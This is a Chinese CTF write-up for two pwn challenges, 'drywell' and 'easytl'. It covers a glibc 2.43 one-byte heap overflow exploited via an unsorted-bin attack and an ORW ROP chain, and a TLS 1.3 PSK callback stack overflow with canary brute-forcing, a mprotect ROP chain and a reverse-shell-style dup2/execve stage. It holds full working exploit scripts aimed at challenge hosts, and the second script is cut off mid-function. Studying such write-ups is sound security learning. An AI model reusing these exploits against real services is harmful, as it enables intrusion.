题目使用 glibc 2.43:fastbin 已移除;free 会检查 next chunk 的 PREV_INUSE;exact-fit 分支在 tcache 未初始化时会调用 tcache_init()。这些细节直接影响了下面的布局。

1. 两次 no-merge 伪造 free,泄漏 libc 与 heap

  • 分配 B、C(class 0)相邻。用 B 前一个 note 的 edit 把 B 的 size 改成 0x5e0;在 C+0xe0 处伪造 next chunk(size=0x501,next-in-use 置位),free(B) 得到 0x9e0 的 unsorted chunk。

  • add class 0 从 0x9e0 切出 0x500,余下 0xe0 正好落在 C 的 chunk header 上。C 仍然存活,因此可以读写这个 remainder 的 fd/bk。

  • 对第二组 B2/C2 重复。两次 add 把两个 0xe0 remainder 放进同一个 smallbin:后插入的 chunk 的 fd 指向前一个 chunk(heap 地址)。

  • view C1 0 得到 smallbin head(libc);view C2 0 得到前一个 remainder(heap)。

2. class-2 重叠 C/D

  • 用 heap base 在 C+0xe0 处放置 fake chunk:size=0x440、fd=bk=fake、fd_nextsize=NULL;free 掉被改成 0x5e0 的 B,前向合并得到 0x1120 的 free chunk。

  • add class 2 从 B 切出 0x1000,返回的 note N 的数据覆盖 C、D 的 chunk header;之后通过 N 可以任意修改 C/D 的 prev_size 和 size。

  • 注意:前向合并的 unlink 要求 fake chunk 的 fd/bk 是合法绝对地址,所以这一步必须在拿到 heap leak 之后。

3. 激活 tcache

  • 把 C 的 size 改成 0x101 后 free(C)。此时 tcache 尚未初始化,tcache_init() 内部会执行 _int_malloc(0x300),遍历 unsorted bin;如果 unsorted 已被破坏,就会 abort。

  • 因此先用重叠 note 修好 class-2 切出的 remainder R'(B+0x1000,size 0x120),再 free C,让 tcache 正常初始化。之后 exact-fit 分支不会再调用 tcache_init。

4. backward consolidation + 精确匹配 unsorted attack

  • 在 C2 的 data 中伪造 chunk A:size=0x12f0,fd=bk=A,fd_nextsize=NULL。通过 N 把 D 的 prev_size 改成 D-A、清除 PREV_INUSE;free(D) 后合并到 A,得到 0x17f0 的 free chunk。

  • add class 1 在 A+0x900 = notes[7].data 处留下 remainder V。

  • 通过 N 把 V 的 size 改成 0x501,并在 V+0x500 处伪造 next chunk(prev_size=0x500,size=0x500,PREV_INUSE=0)。

  • add class 0 走 exact-fit:移除 V 时执行 bck->fd = unsorted_chunks(av),其中 bck = &notes[7].data - 0x10;于是 notes[7].data = main_arena+8。

  • 关键:V 的 size 必须精确等于本次请求的 0x500,否则移除后 unsorted->bk 仍指向 bck,下一次循环会 abort;exact-fit 会在写入后立即 return。

5. 伪造 top,吃掉 ledger

  • 通过 notes[7].data = main_arena+8,edit 写入 av->top = heap_base+0x10,清空 unsorted、binmap,并修好 system_mem 等字段。

  • 把 notes[0].len 设为 0xff8(作为 fake top 的 size);add class 0 从 fake top 切块,返回 heap_base+0x20,正好覆盖 notes 数组。

  • 之后 edit 新 note 覆盖 notes[1].data/cap,得到任意地址读写。

6. environ + ORW ROP

  • environ = libc+0x219de8;main 的 saved RIP = environ-0x140(argc=1)。脚本会从 S 开始向后扫几个 8 字节,匹配 libc+0x2a601,兼容 argc 变化。

  • 写入 ROP:open("/flag", O_RDONLY) -> read(3, stack, 0x100) -> write(1, stack, 0x100) -> _exit(0)。

  • 发满 256 条命令让 main 正常 return,触发 ROP。seccomp 允许 open/read/write/exit_group;/key 在启动时已关闭,open 返回 fd 3。

表 1 关键 libc 偏移(以题目自带 libc.so.6 为基准)

项目

偏移 / 值

说明

main_arena

libc + 0x212ac0

malloc_state

unsorted_chunks

libc + 0x212ac8

main_arena + 8

environ

libc + 0x219de8

libc 中的 environ 变量

main saved RIP

environ - 0x140

argc = 1;脚本兼容少量偏移

open

libc + 0x127990

libc 函数

read

libc + 0x128150

libc 函数

write

libc + 0x128c10

libc 函数

_exit

libc + 0xf7180

exit_group

pop rdi; ret

libc + 0x11b9fa

ROP gadget

pop rsi; ret

libc + 0x5c067

ROP gadget

pop rdx; xor eax,eax; ret

libc + 0xe84bd

ROP gadget

ret

libc + 0x289fe

16 字节栈对齐

表 2 主要堆布局(H 为 notes chunk 的起始地址,ASLR 随机)

地址(相对 H)

内容

大小

H

notes 数组(calloc 0x120)

0x130

H + 0x2f30

B(class 0)

0x500

H + 0x3430

C(class 0)

0x500

H + 0x3930

D(class 0)

0x500

H + 0x3e30

E(class 0)

0x500

B + 0x1000

R'(class-2 split remainder)

0x120

C + 0xe0

forward-merge fake chunk

0xb40

几个关键伪造尺寸:B/B1/B2 的 forged size = 0x5e0;C 的 tcache size = 0x101;A 的 size = 0x12f0;V 的 exact-fit size = 0x500;fake next F = 0xb40。

注意:每次 edit 的这次补写都会改变下一个 chunk 的 size 低字节,因此脚本中所有 edit 长度都是按 key 计算过的;不能随意改长度,否则堆布局会偏移。

  • 远程:python3 solve.py 60.205.209.179 30786

  • 本地:python3 solve.py local 0(需要 ./key;没有 /key 时程序会读取当前目录的 key)

  • 脚本会自动尝试 8 种有效 key(key & 0xe),拿到 flag 后打印并退出。

  • 实测输出:flag{f0fd48b7-d2b4-401c-a9ce-c8f3f3ed968a}

完整利用脚本 solve.py(Python 3 + pwntools,自研),包含 key 自适应、堆布局、unsorted attack、ledger 重叠和 ORW ROP:

#!/usr/bin/env python3
# drywell (2026 春秋杯) exploit
#
# Vulnerability: cmd_edit() writes one byte at n->data[n->cap], i.e. the low
# byte of the next physical chunk's size. The written high nibble is
# ((len >> 4) ^ poison_key) & 0xe, where poison_key is a random 4-bit value
# from /key. Views are limited to 8.
#
# Exploit outline (glibc 2.43):
#  1. two "no-merge" forged-size frees leave 0xe0 remainders whose chunk
#   headers coincide with live notes' chunk headers; after binning, the
#   smallbin links leak libc (bin head) and the heap (previous chunk).
#  2. a class-0 chunk with forged size is freed; its fake next chunk is
#   merged forward (valid self fd/bk, now that the heap is known). The
#   resulting 0x1120 chunk is split with class 2 to get a 0x1000 note
#   overlapping the C and D headers.
#  3. tcache is activated by freeing a forged tiny chunk (otherwise the
#   exact-fit path calls tcache_init, whose internal malloc walks the
#   corrupted unsorted bin).
#  4. D is freed after we forge its prev_size/prev_inuse through the
#   overlapping note; it consolidates back to a fake chunk placed in
#   another note's data. A class-1 split puts the remainder exactly on
#   notes[7].data.
#  5. the remainder is turned into an exact-fit unsorted-bin victim: the
#   removal writes main_arena+8 into notes[7].data -> libc read/write.
#  6. av->top is pointed at the notes ledger and a class-0 malloc returns
#   the ledger itself, giving full control of Note structs.
#  7. leak environ, locate main's saved RIP, write an ORW ROP chain and
#   exhaust the 256-op budget so main returns into it.
#
# The remote /key is 4 bits and fixed for the container. Only key & 0xe
# matters; the exploit chooses edit lengths so the poisoned nibbles are the
# values the layout expects for a given key guess.
import sys, re, time
from pwn import *
context.arch = 'amd64'
context.log_level = 'error'
# offsets in the supplied libc.so.6 (Ubuntu GLIBC 2.43)
ENVIRON  = 0x219de8
START_RET = 0x2a601    # return address inside __libc_start_call_main
OPEN   = 0x127990
READ   = 0x128150
WRITE   = 0x128c10
EXIT   = 0xf7180    # _exit
POP_RDI  = 0x11b9fa
POP_RSI  = 0x5c067
POP_RDX  = 0xe84bd    # pop rdx ; xor eax,eax ; ret
RET    = 0x289fe
class Chal:
  def __init__(self, tube):
    self.t = tube
    self.ncmd = 0
    self.t.recvuntil(b'> ')
  def send(self, s):
    self.ncmd += 1
    self.t.send(s)
    return self.t.recvuntil(b'> ')
  def add(self, c):
    return self.send(b'add %d\n' % c)
  def free(self, i):
    return self.send(b'free %d\n' % i)
  def edit(self, i, data):
    return self.send(b'edit %d %d\n' % (i, len(data)) + data)
  def view(self, i, off):
    self.ncmd += 1
    self.t.send(b'view %d %d\n' % (i, off))
    line = self.t.recvuntil(b'\n')
    self.t.recvuntil(b'> ')
    m = re.search(rb'([0-9a-f]{16})\n', line)
    if not m:
      return None
    return u64(bytes.fromhex(m.group(1).decode()))
def pay(n, fields):
  b = bytearray(n)
  for off, val in fields.items():
    b[off:off + len(val)] = val
  return bytes(b)
def nib_len(desired_nibble, min_len, cap, key):
  """Length whose poison high nibble is desired_nibble.
  nibble = ((len >> 4) ^ key) & 0xe
  """
  q = desired_nibble ^ (key & 0xe)
  n = 0
  while 16 * (q + 16 * n) < min_len:
    n += 1
  ln = 16 * (q + 16 * n)
  assert ln <= cap, (hex(ln), hex(cap))
  return ln
def exploit(t, key, path=b'/flag'):
  c = Chal(t)
  # ---------------- Phase 1: two forged frees, libc + heap leak ----------
  for cl in [2, 0, 0, 0, 0, 0, 0]:
    assert b'ok' in c.add(cl)
  # lengths that make the poisoned size nibble 0xe (chunk size 0x5e0)
  L1 = nib_len(0xe, 1,  0xff8, key)  # forge B1
  L3 = nib_len(0xe, 0xe0, 0x4f8, key)  # forge B2, and next-in-use flag
  L6 = nib_len(0xe, 1,  0x4f8, key)  # forge B (phase 2)
  c.edit(0, b'A' * L1)
  c.edit(2, pay(0xe0, {0xd8: p64(0x501)}))    # fake next chunk inside C1
  c.edit(3, pay(L3, {0xd8: p64(1)}))      # next-in-use for B1
  c.free(1); c.add(0)              # split B1, leave 0xe0 at C1
  c.edit(5, pay(0xe0, {0xd8: p64(0x501)}))    # fake next inside C2
  c.edit(6, pay(0xe0, {0xd8: p64(1)}))      # next-in-use for B2
  c.free(4); c.add(0)              # split B2, leave 0xe0 at C2
  # ---------------- Phase 2: class-2 overlap over C and D ----------------
  for _ in range(4):               # B, C, D, E
    c.add(0)
  l1 = c.view(2, 0)               # smallbin head -> libc
  l2 = c.view(5, 0)               # previous chunk -> heap
  libc = l1 - 0x212b98
  H = l2 - 0x1630
  B = H + 0x2f30
  C = H + 0x3430
  D = H + 0x3930
  E = H + 0x3e30
  fake = C + 0xe0
  F = 0xb40
  c.edit(6, b'F' * L6)              # forge B to 0x5e0
  c.edit(8, pay(0x100, {0xd8: p64(F | 1),
             0xe0: p64(fake),
             0xe8: p64(fake),
             0xf0: p64(0)}))
  c.edit(10, pay(0x230, {0x210: p64(F), 0x218: p64(0x500)}))
  c.free(7)
  c.add(2)                    # 0x1120 merged, split 0x1000
  # N (slot 7) now controls the C and D chunk headers.
  # ---------------- Phase 3: activate tcache, then free D ----------------
  # C is freed with a forged tiny size; the tcache init internal malloc
  # consumes the unsorted remainder R' at B+0x1000 (repair it first).
  c.edit(7, pay(0x500, {0x4f0: p64(0), 0x4f8: p64(0x101)}))
  c.edit(10, pay(0x100, {0xf0: p64(0), 0xf8: p64(0x121)}))
  c.free(8)
  # fake chunk A lives in C2's data (slot 5); D is freed back to A
  A = H + 0x2640
  off = A - (H + 0x2540)
  c.edit(5, pay(0x130, {off: p64(0),
             off + 8: p64(0x12f0),
             off + 0x10: p64(A),
             off + 0x18: p64(A),
             off + 0x20: p64(0)}))
  c.edit(7, pay(0xf00, {0x9f0: p64(0x12f0), 0x9f8: p64(0x500),
             0xef0: p64(0),    0xef8: p64(0x501)}))
  c.free(9)
  c.add(1)                    # split at notes[7].data
  # ---------------- Phase 4: exact-fit unsorted bin attack --------------
  T = H + 0x10 + 7 * 0x18            # &notes[7].data
  bck = T - 0x10
  unsorted = libc + 0x212ac8
  c.edit(7, pay(0x520, {8: p64(0x501),
             0x10: p64(unsorted),
             0x18: p64(bck),
             0x500: p64(0x500),
             0x508: p64(0x500)}))
  c.add(0)                    # notes[7].data = main_arena+8
  # ---------------- Phase 5: fake top chunk -> ledger overlap ------------
  c.edit(0, b'Z' * 0xff8)            # notes[0].len = 0xff8
  main_arena = libc + 0x212ac0
  p = bytearray(0x838)
  p[0:8] = p64(H + 0x10)             # av->top
  p[8:16] = p64(0)                # last_remainder
  p[0x10:0x18] = p64(unsorted)          # unsorted fd
  p[0x18:0x20] = p64(unsorted)          # unsorted bk
  bin68 = main_arena + 0x438           # largebin_index(0x500)=68
  p[0x440:0x448] = p64(bin68)
  p[0x448:0x450] = p64(bin68)
  p[0x810:0x818] = p64(main_arena)        # next
  p[0x820:0x828] = p64(1)            # attached_threads
  p[0x828:0x830] = p64(0x21000)         # system_mem
  p[0x830:0x838] = p64(0x21000)         # max_system_mem
  c.edit(7, bytes(p))
  c.add(0)                    # ledger note at H+0x20
  def set_note1(addr, cap):
    c.edit(11, pay(0x20, {8: p64(addr), 0x10: p64(0), 0x18: p64(cap)}))
  # ---------------- Phase 6: environ leak + stack ROP --------------------
  set_note1(libc + ENVIRON, 8)
  env = c.view(1, 0)
  S = env - 0x140                # argc == 1
  found = False
  for k in range(4):               # tolerate a few extra argv
    set_note1(S - 8 * k, 8)
    if c.view(1, 0) == libc + START_RET:
      S -= 8 * k
      found = True
      break
  assert found, 'main return address not found'
  chain = bytearray(0x100)
  off = 0
  def q(x):
    nonlocal off
    chain[off:off + 8] = p64(x)
    off += 8
  q(libc + RET)                 # 16-byte stack alignment
  q(libc + POP_RDI); q(S + 0xf0)         # path
  q(libc + POP_RSI); q(0)
  q(libc + OPEN)
  q(libc + POP_RDI); q(3)            # /key was closed -> fd 3
  q(libc + POP_RSI); q(S + 0x200)        # read buffer
  q(libc + POP_RDX); q(0x100)
  q(libc + READ)
  q(libc + POP_RDI); q(1)
  q(libc + POP_RSI); q(S + 0x200)
  q(libc + POP_RDX); q(0x100)
  q(libc + WRITE)
  q(libc + POP_RDI); q(0)
  q(libc + EXIT)
  chain[0xf0:0xf0 + len(path)] = path
  set_note1(S, 0x100)
  c.edit(1, bytes(chain))
  # exhaust the 256-op budget; main then returns into the chain
  need = 256 - c.ncmd
  if need > 0:
    t.send(b'add 3\n' * need)
  t.send(b'add 3\n' * 8)
  return t.recvrepeat(3)
def main():
  if len(sys.argv) > 1 and sys.argv[1] == 'local':
    key = int(sys.argv[2], 0) if len(sys.argv) > 2 else 0
    data = exploit(process('./chal'), key, b'./flag.txt')
    print(data.decode('latin-1'))
    return
  host = sys.argv[1] if len(sys.argv) > 1 else '60.205.209.179'
  port = int(sys.argv[2]) if len(sys.argv) > 2 else 30786
  for key in [0, 2, 4, 6, 8, 10, 12, 14]:
    try:
      t = remote(host, port, timeout=10)
      data = exploit(t, key, b'/flag')
      m = re.search(rb'flag{[^}]*}', data)
      if m:
        print(m.group(0).decode())
        return
    except Exception as e:
      pass
    finally:
      try:
        t.close()
      except Exception:
        pass
  print('failed')
if __name__ == '__main__':
  main()

flag

flag{f0fd48b7-d2b4-401c-a9ce-c8f3f3ed968a}

考点补充

  • 核心考点:cmd_edit() 在 n->data[n->cap] 处越界补写的 1 字节只能改动下一 chunk size 的高半字节,受害者正是利用这 4 bit 在同一 0x100 块内把 size 从 0x500 抬到 0x520/0x5e0,配合伪造 next chunk 与 PREV_INUSE 位构造 no-merge free,把 glibc 2.43 的 unsorted/smallbin 与 tcache 初始化路径一起拖入可控状态。

  • 关键技巧:用 8 次 view 的预算省出 libc 与 heap 两个泄漏(smallbin head 给 libc、remainder 的 fd 给 heap),再以 class-2 大块覆盖相邻 note 的 chunk header;最后靠 exact-fit 分支写入 bck->fd 把 notes[7].data 改成 main_arena+8,并伪造 av->top 指向 notes 数组拿到任意地址读写。

  • 常见坑:glibc 2.43 已无 fastbin,tcache_init() 会在首次 free 时内部调用 _int_malloc 遍历 unsorted bin,若此时 bin 已被破坏就 abort,所以必须先把 class-2 切出的 remainder R' 修好再 free C;另外 exact-fit 的 V 尺寸必须精确为 0x500,否则 unsorted->bk 残留会令下一次循环 abort。

  • 延伸:同源思路可推广到任何"只在 chunk 边界写 1 字节"的 note 类题目——把写入值当作可控的高半字节去做 size 抬升,配合 unsorted bin attack 与 top chunk 重定向实现 ledger 重叠;ROP 侧则用 environ 定位 main 的 saved RIP,注意 16 字节栈对齐与 seccomp 对 open/read/write/exit_group 的放行情况。

easytl

一、题目信息

项目

内容

题目名称

easytl

题目类型

PWN

题目地址

nc 47.105.112.170 1443

附件

easytl、server.crt、server.key

考察点

静态逆向、TLS 1.3 外部 PSK 握手、回调函数栈溢出、canary 爆破、ROP 二段加载

题目描述只有一句「一个正常的服务器,快来试试吧」,附件给了服务端程序以及 TLS 证书私钥。私钥在手里,说明要自己实现客户端去连这个 TLS 服务端。

二、程序基本信息

$ readelf -h easytl
  Class:  ELF64    Type: EXEC (Executable file)
  Entry:  0x402c30   Machine: Advanced Micro Devices X86-64
$ readelf -lW easytl
  LOAD 0x001000 0x401000 R E 0x42364d
  LOAD 0x425000 0x825000 R  0x0e4218
  LOAD 0x509588 0x90a588 RW 0x066958
  GNU_STACK ... RW    <-- 栈不可执行(NX)
$ readelf -d easytl
  There is no dynamic section in this file.  <-- 静态链接

结论:

  1. 64 位、非 PIE(代码段固定 0x400000 起,ROP 可直接用绝对地址);

  2. 静态链接,绝大部分是 OpenSSL 3.x + glibc,题目自身逻辑位于 0x402d00~0x404455 这一小段;

  3. GNU_STACK 只有 RW,栈不可执行,最终必须走 ROP;

  4. 由 _start 可得 main = 0x40445a,程序由 myserver.c 编译而来(rodata 里的字符串可直接证实)。

三、main 与服务端流程

main 很短:socket(AF_INET, SOCK_STREAM, 0) → bind(htonl(0x5a3=1443)) → listen → 进入 0x4035d8 的 accept 循环。

0x4035d8(ctx, fd) 里做了三件事:

  1. accept() 拿连接 fd;

  2. 连续三次 fork():父进程 waitpid 后关掉连接的 fd 继续 accept,中间子进程 exit(0),孙进程继续处理这条连接 —— 也就是每条连接都由一个独立的孙进程处理,这正是后面做 canary 爆破的前提(fork 出来的进程栈布局完全一致,canary 恒定);

  3. 孙进程 SSL_new / SSL_set_fd / SSL_accept,握手成功后返回 SSL*,交给 0x404347 的命令分发循环。

如果 SSL_accept 失败,会打印错误并 exit(1),连接直接断开。

四、应用层协议

0x404347 循环读取 4 字节小端命令字,再按命令分发:

命令字

功能

处理函数

载荷格式

0x38432a87

create

0x4036f1

key(16) + iv(16) + len(4) + data

0x6c5a5850

encrypt

0x403973

id(16)

0x363bbed5

decrypt

0x403b3f

id(16)

0x89954d3e

get

0x403d65

id(16)

0xdc375626

update

0x403ed8

id(16),再读 len(4)+data

0xd21fef03

delete

0x40418f

id(16)

create 的处理最复杂,逆向出的记录结构如下:

struct record {     /* calloc(1, 0x60) */
  unsigned char id[16];  /* +0x00 MD5(data) 前 16 字节 */
  char     pad[8];  /* +0x10 */
  struct record *next;  /* +0x18 */
  unsigned char key[16]; /* +0x20 来自 create 包 */
  unsigned char iv[16];  /* +0x38 来自 create 包 */
  void     *data;   /* +0x50 calloc(1, len+0x10) */
  int      len;   /* +0x58 len <= 0x380 且非 0 */
};

几个关键点:

  1. 记录 id 由服务端自己算:MD5_Init/Update/Final 后 16 字节摘要直接写在 rec 起始处,客户端知道 data 就能算出 id;

  2. encrypt/decrypt 用记录里的 key/iv 做 AES-128-CFB128 就地加解密(AES_set_encrypt_key(key, 0x80, ks),栈上 key schedule 缓冲区只给了 0x80 字节而实际需要 0xB0,但溢出部分正好落在两个栈槽之间的空洞,不影响运行);

  3. 记录条数上限为 0x40,超出直接 exit(1);

  4. get 会按 id 找记录并把 rec->data(rec->len 字节)写回客户端;如果 id 命中 rodata 里那 16 字节"魔数"(0x825109),还会额外 fprintf(stderr, "data: %s") —— 正常流程走不到这个分支。

五、三个 TLS 回调

0x4032bb 在初始化 SSL_CTX 时,除证书和私钥外还注册了三个回调:

5.1 psk_find_session_cb(ctx+0x308,函数 0x402dbb)

签名是 int cb(SSL*, const unsigned char *identity, size_t idlen, SSL_SESSION **sess),即 TLS 1.3 的外部 PSK 会话查找回调。它的逻辑:

if (strlen(identity) != 0x20) { *sess = NULL; return 1; }
if (memcmp("1401518dc5d7641ccd41593a5d812410", identity, 0x20)) { *sess = NULL; return 1; }
0x970f48 = 0x20;                  // 全局:身份长度
0x970f40 = calloc(1, idlen + 0x10);        // 全局:身份副本
memcpy(0x970f40, identity, idlen);         // 注意:idlen 可变!
blob = OPENSSL_hexstr2buf(0x825060, &len);     // 96 个 hex 字符 -> 48 字节
mk  = EVP_Q_mac(NULL, "HMAC", NULL, EVP_MD_get0_name(md), NULL,
         blob, 48, identity, 0x20, out, EVP_MD_get_size(md), &outlen);
sess = SSL_SESSION_new();
SSL_SESSION_set1_master_key(sess, out, outlen);
SSL_SESSION_set_cipher(sess, SSL_CIPHER_find(ssl, "\x13\x02")); // TLS_AES_256_GCM_SHA384
SSL_SESSION_set_protocol_version(sess, SSL_version(ssl));
*sess = sess;
return 1;

客户端把 PSK 身份设成那串硬编码的 32 字符,服务端就会用 rodata 里的 48 字节 hex 和这个身份算出会话主密钥(HMAC-SHA512),双方即可完成 TLS 1.3 外部 PSK 握手。题目给了证书私钥却不要求客户端证书,原因在这里:认证走的是 PSK。

5.2 SNI 回调(SSL_CTRL_SET_TLSEXT_SERVERNAME_CB=53,函数 0x40320a)

name = SSL_get_servername(ssl, 0);
0x970f58 = strlen(name);         // 全局:SNI 长度(未做任何上限检查)
0x970f50 = calloc(1, 0x970f58 + 0x10);
memcpy(0x970f50, name, 0x970f58);

5.3 info 回调(ctx+0x120,函数 0x4030d5)

if (where & 0x2002) {          /* SSL_CB_ACCEPT_LOOP / EXIT */
  0x970f60 = 0x970f40 ? 0x970f40 : (0x970f50 ? 0x970f50 : NULL);
  if (0x970f48) 0x970f68 = 0x970f48;  /* 0x20 */
  if (0x970f58) 0x970f68 = 0x970f58;  /* 被 SNI 长度覆盖! */
} else if (where & 0x4004) {       /* 收到 alert */
  err = SSL_get_error(ssl, ret);
  if (0x970f40) {           /* 有 PSK 身份 */
    0x970f60 = 0x970f40;
    if (0x970f48 == 0x20) call 0x40304d();  /* 危险函数 */
  } else if (0x970f50 && 0x970f58 <= 0x40) {
    0x970f60 = 0x970f50; call 0x40304d();
  }
  write(err, "error", 5);
}

六、漏洞定位:0x40304d 的栈溢出

0x40304d: push rbp; mov rbp,rsp; sub rsp,0x60
0x403062: [rbp-0x8] = fs:0x28      ; 栈保护
0x403097: memcpy(rbp-0x60, 0x970f60, 0x970f68)  ; dst 只有 0x58 字节
0x4030b9: fprintf(stderr, "%s error\n", rbp-0x60)
0x4030bf: 检查 canary -> leave; ret

漏洞出在 memcpy 的长度参数:取的是全局 0x970f68,而它会被 SNI 长度覆盖(分支 0x2002 里没有做 <= 0x40 的检查),目标缓冲区只有 0x58 字节。只要同时满足:

  1. PSK 身份命中硬编码串(0x970f40 非空、0x970f48 == 0x20);

  2. SNI 长度 > 0x58(OpenSSL 对 host_name 上限 255);

  3. 服务端收到一个 alert(where == 0x4004);

就会以 SNI 长度为长度,把 PSK 身份那块堆内存拷到 info 回调的栈上,直接冲掉 canary 与返回地址。

而身份副本是 calloc(1, idlen+0x10) 后 memcpy(identity, idlen) 得到的,idlen 由 ClientHello 里 PSK 身份的长度字段决定,与 strlen() 无关 —— 只要身份是 32 个硬编码字符 + "\x00" + 任意二进制,strlen 仍然等于 32(校验通过),而堆块里从第 33 字节开始全是可控数据。于是溢出数据完全可控。

另外,write(err, "error", 5) 里的 fd 恰好是该连接 socket,进程是否存活可以直接从这条 socket 上读出来,后面爆破 canary 就靠它。

七、利用过程

7.1 先打通 TLS 1.3 外部 PSK 握手

服务端只在 PSK 握手成功(binder 校验通过)后才会正常读后续记录,因此必须自己实现客户端。ClientHello 要点:

  1. supported_versions 是 1 字节长度的列表 02 03 04(写成 2 字节长度会直接 alert 50 decode_error);

  2. 提供 x25519 key_share、psk_key_exchange_modes = [psk_dhe_ke];

  3. pre_shared_key 必须是最后一个扩展,identities 里放「32 字符 + \x00 + 载荷」;

  4. cipher suite 只给 0x1302(TLS_AES_256_GCM_SHA384),因为服务端伪造 session 时用的就是它。

binder 计算(RFC 8446 §4.2.11.2):

early_secret = HKDF-Extract(salt=0, IKM=PSK)
binder_key  = HKDF-Expand-Label(early_secret, "ext binder", Transcript-Hash(""))
finished_key = HKDF-Expand-Label(binder_key,  "finished",  "")
binder    = HMAC(finished_key, Transcript-Hash(ClientHello 截断到 identities 结束))

踩坑记录:Derive-Secret(Secret, Label, Messages) 的 context 是 Transcript-Hash(Messages),空消息也要取 SHA384(""),而不是空串。最初写成空 context,binder 一直对不上;用 RFC 8448 的样例 ClientHello 逐字节比对后才定位。

会话主密钥用 Python 直接算:

import hmac, hashlib

BLOB = bytes.fromhex("c8ad2a35c51b87a466e22bc337696f08"
                     "07ff73500ee154ee71bee86d0b6bc358"
                     "422a0e90fca2ac1be5929a7be06fd428")  # rodata 0x825060
IDENT = b"1401518dc5d7641ccd41593a5d812410"
PSK  = hmac.new(BLOB, IDENT, hashlib.sha512).digest()
# 8bd3d02f8ac2e2a063735779b0a2ea980d0baa0831ed9fce8b8125d79af598b5...

拿到 PSK 后 ClientHello 一发出,服务端就返回带 00 29(pre_shared_key)扩展的 ServerHello,说明 PSK 握手成功。

7.2 触发溢出并爆破 canary

握手成功后先读掉服务端飞行包(245 字节),紧接着发一条 fatal alert(15 03 03 00 02 02 28),服务端就会进入 info 回调的 0x4004 分支执行那次 memcpy。

先验证判据:短 SNI(不溢出)时,alert 之后 socket 上会收到 5 字节 error;把 SNI 长度改成 0x59 并故意填错 canary 时,进程在 __stack_chk_fail 处 abort,收不到任何数据。于是可以按字节爆破:

def try_canary(prefix):
  ident = MAGIC + b"\x00" + b"P"*0x37 + prefix   # 0x58 前全部固定
  s.sendall(record(22, client_hello(ident, b"S"*len(ident), PSK)))
  s.sendall(b"\x15\x03\x03\x00\x02\x02\x28")
  return b"error" in recv_all(s)          # 存活 -> 该字节正确

因为每条连接都是同一个父进程 fork 出来的,canary 恒定,逐字节 256 次即可。最终得到:

canary = 00 6a fe 94 cd 3e c0 e5

7.3 ROP + 二段 shellcode

溢出长度上限是 SNI 的 255 字节,布局要压紧:

偏移

内容

0x00 ~ 0x1F

硬编码身份串(32 字节)

0x20

0x00(保证 strlen == 32)

0x21 ~ 0x57

填充

0x58 ~ 0x5F

canary

0x60 ~ 0x67

saved rbp(随便填,后面走 ROP 不再用)

0x68 ~

ROP 链

栈不可执行,所以先 ROP 把 .bss 变成 RWX,再 read 一段 shellcode 过去执行:

mprotect(0x972000, 0x1000, 7)   ; 返回 0 == read 的系统调用号,省一个 pop rax
read(4, 0x972000, 0x200)
ret -> 0x972000

用到的 gadget(均在 .text,非 PIE 固定地址):

gadget

地址

pop rax; ret

0x5f6c9a

pop rdi; ret

0x4251bd

pop rsi; ret

0x5e9a79

pop rdx; ret

0x52f0d2

syscall; ret

0x76e706

二段 shellcode 做 dup2(4,0/1/2) + execve("/bin/sh",0,0)。该连接在孙进程里的 socket fd 是 4(可用 write(fd,0x825038,0x20) 遍历 fd 验证),dup2 用 4。

八、完整 EXP

import socket, struct, hashlib, hmac, time, sys
​
HOST, PORT = "47.105.112.170", 1443
MAGIC = b"1401518dc5d7641ccd41593a5d812410"
BLOB = bytes.fromhex("c8ad2a35c51b87a466e22bc337696f0807ff73500ee154ee71bee86d0b6bc358"
                     "422a0e90fca2ac1be5929a7be06fd428")
PSK = hmac.new(BLOB, MAGIC, hashlib.sha512).digest()   # 服务端伪造的会话主密钥
SOCKFD = 4
POP_RAX, POP_RDI, POP_RSI, POP_RDX = 0x5f6c9a, 0x4251bd, 0x5e9a79, 0x52f0d2
SYSCALL, SCRATCH = 0x76e706, 0x972000
​
# ---------------- TLS 1.3 PSK ClientHello ----------------
def hkdf_extract(h, salt, ikm):
    return hmac.new(salt or b"\x00" * h().digest_size, ikm, h).digest()
​
def hkdf_expand(h, prk, info, n):
    out = t = b""
    i = 1
    while len(out) < n:
        t = hmac.new(prk, t + info + bytes([i]), h).digest()
        out += t
        i += 1
    return out[:n]
​
def expand_label(h, secret, label, ctx, n):
    lab = b"tls13 " + label
    info = struct.pack(">H", n) + bytes([len(lab)]) + lab + bytes([len(ctx)]) + ctx
    return hkdf_expand(h, secret, info, n)
​
def compute_binder(psk, truncated, h, label=b"ext binder"):
    hl = h().digest_size
    early = hkdf_extract(h, b"\x00" * hl, psk)
    bk = expand_label(h, early, label, h(b"").digest(), hl)  # Derive-Secret:空消息也要哈希
    fk = expand_label(h, bk, b"finished", b"", hl)
    return hmac.new(fk, h(truncated).digest(), h).digest()
​
def ext(t, b):
    return struct.pack(">HH", t, len(b)) + b
​
def client_hello(identity, sni, psk):
    h = hashlib.sha384
    import os
    rand, sid, pub = os.urandom(32), os.urandom(32), os.urandom(32)
    exts = ext(0, struct.pack(">H", len(sni)+3) + b"\x00" + struct.pack(">H", len(sni)) + sni)
    exts += ext(0x000a, struct.pack(">H", 2) + struct.pack(">H", 0x1d))
    sigs = [0x0403,0x0503,0x0603,0x0807,0x0804,0x0401,0x0501,0x0601]
    exts += ext(0x000d, struct.pack(">H", len(sigs)*2) + b"".join(struct.pack(">H", s) for s in sigs))
    exts += ext(0x002b, b"\x02\x03\x04")           # supported_versions:1 字节长度
    ks = struct.pack(">H", 0x001d) + struct.pack(">H", 32) + pub
    exts += ext(0x0033, struct.pack(">H", len(ks)) + ks)
    exts += ext(0x002d, b"\x01\x01")             # psk_dhe_ke
    hl = h().digest_size
    ids = struct.pack(">H", len(identity)) + identity + struct.pack(">I", 0)
    ph = struct.pack(">H", hl+1) + bytes([hl]) + b"\x00" * hl
    exts += ext(0x0029, struct.pack(">H", len(ids)) + ids + ph)
    body = b"\x03\x03" + rand + bytes([len(sid)]) + sid
    body += struct.pack(">H", 2) + struct.pack(">H", 0x1302) + b"\x01\x00"
    body += struct.pack(">H", len(exts)) + exts
    hs = b"\x01" + struct.pack(">I", len(body))[1:] + body
    trunc = hs[:-len(ph)]
    return trunc + struct.pack(">H", hl+1) + bytes([hl]) + compute_binder(psk, trunc, h)
​
def record(ct, data):
    return bytes([ct]) + b"\x03\x01" + struct.pack(">H", len(data)) + data
​
def try_canary(prefix):
    ident = MAGIC + b"\x00" + b"P" * (0x58 - 33) + prefix
    try:
        s = socket.create_connection((HOST, PORT), timeout=3)
    except Exception:
        return False
    try:
        s.sendall(record(22, client_hello(ident, b"S" * len(ident), PSK)))
